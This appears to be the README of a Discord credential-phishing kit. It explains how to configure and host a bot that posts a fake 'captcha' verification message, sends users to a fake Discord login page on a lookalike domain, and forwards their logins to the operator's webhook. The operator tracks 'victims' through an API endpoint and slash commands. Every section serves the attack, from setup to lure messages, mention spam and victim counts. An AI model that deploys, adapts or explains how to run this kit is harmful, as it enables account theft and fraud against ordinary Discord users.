First, you need to configure the config.json
file of your project. Here's an example of what it should look like:
module.exports = {
'token': '', // Your bot token.
'clientid': '', // Your discord bot id.
'guildid': '', // Id of a private server to load the bot's slash commands.
'ownerid': [''], // Add discord ids to the array to access the commands.
'webhook': '' // Your discord webhook url.
}
You need to activate all intents of your bot in the Discord Developer Portal. Here's how to do it:
You only need to host this source on a service like Repl.it, Render, etc., and use the domain that is generated. The only thing you need to change is the config.json
file. You should only change other things if you know what you are doing.
After configuring the config.json
file, you need to follow these steps:
-
Use the
/domain
command to change to the domain that is hosting this code. Example of use:/domain chaptcha.net
. -
Use the
/ip
command and add your IP to have access to the API part to be able to see the list of victims. Example of use:/ip <ip> <true to add, false to remove>
. -
Now you will be able to see your list of victims by accessing
https://yourapi/victims
. -
Whenever someone logs into the fake discord page, it will send to a webhook that you defined in
config.json
.
- Using the
/verification
command you will send the message where all the magic will happen for the user to solve the "captcha" by logging into their discord account. Example of use:/verification <server id> <channel id>
. Make sure the bot is on the server for everything to go right.
Note: Ensure that the bot is in the specific server for adding slash commands and other commands that require the channel and server id.
-
/mention <channel id> <server id> <time minutes>
: It will mention the channel according to the time you defined and will keep deleting the mention. To remove the automatic mention just use the/stop <channel id>
command. -
/ping
: You will be able to see if the bot is still online. -
/victims
: Returns the total number of victims you have accumulated.
- This big change adding systems and commands to the bot/api.
- Adjustments in responses and in code interpretation.
- Adjustment in the rate limit system.
If you have any questions or problems, join the telegram and call me.